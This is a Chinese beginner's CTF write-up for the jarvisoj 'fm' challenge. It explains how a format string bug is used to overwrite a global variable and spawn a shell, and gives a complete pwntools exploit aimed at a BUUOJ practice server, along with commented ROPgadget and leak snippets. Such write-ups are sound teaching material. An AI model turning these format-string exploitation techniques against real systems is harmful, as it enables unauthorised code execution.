jarvisoj_fm

小白做题垃圾笔记,不建议阅读。

1.32位操作系统,有canary,和NX ,本来以为是绕过canary呢。

 

2.第12行,如果x==4就执行/bin/sh

,第10行存在格式化字符串漏洞。

是格式化字符串漏洞,对任意地址内容更改。

3.确定偏移:

pwngdb

复制aaaa所在地址。

 fmtarg  aaaa的地址

偏移为%11$p

 

4.核心payload

如果用原始方法,就是发送p32(0x0804A02C)+p32(b'%11$p')

发送这段什么意思呢?

就是前边是一个地址,它是变量x的地址,后边是%11$n

%$n的作用就是将前边的字节长度赋值给后边的地址

回头看发送的数据,地址对应偏移是11$也就是说是第十一个,那么,%11$n就会将输入的地址里的内容改为前边的长度。输入的地址是x的地址,而前边的长度是p32      4个字节。也就是4

pwntools有个函数是

fmtstr_payload(offset,writes,numbwritten=0,write_size='byte')

其中,第一个参数是偏移,也就是输入的内容得偏移,第二个是改写的内存以及内容。

格式是这样的{addr:value,addr2:value2……},addr是要改写的而地址,value是值。有的时候会写{:printf_got}

numbwritten是已经由printf写入的字节数,(可选)

write_size:必须是byte、short、int   用于指定逐byte还是逐short或者逐int写(hhn、hn、n)。(可选)

它可以用来生成一段payload。

还有一个函数是FmtStr但是我还没有深入研究。

5.

exp如下:

from pwn import *

debug=0
if debug:
    p=process('./fm')
    #p=process('',env={'LD_PRELOAD':'./libc.so'})
    context.log_level='debug'
    gdb.attach(p)
else:
    p=remote('node4.buuoj.cn',29181)

def ru(x):
    return p.recvuntil(x)

def se(x):
    p.send(x)

x_add=0x0804A02C


offset=11

payload=fmtstr_payload(11,{x_add:4},write_size='int')

se(payload)

p.interactive()

#ROPgadget --binary <binary_file> --only "pop|ret" | grep "pop rdi"
#ROPgadget --binary bin --only "pop|ret"
#ROPgadget --binary ./level2_x64 --only "ret"
#write_add=u32(p.recv(4))

#addr=u32(r.recvuntil('\xf7')[-4:])
#puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
#sa(b'wish!\n', b'%11$p')
#rl(b'0x')
#canary = int(p.recv(16), 16)

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

y6y6y666

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值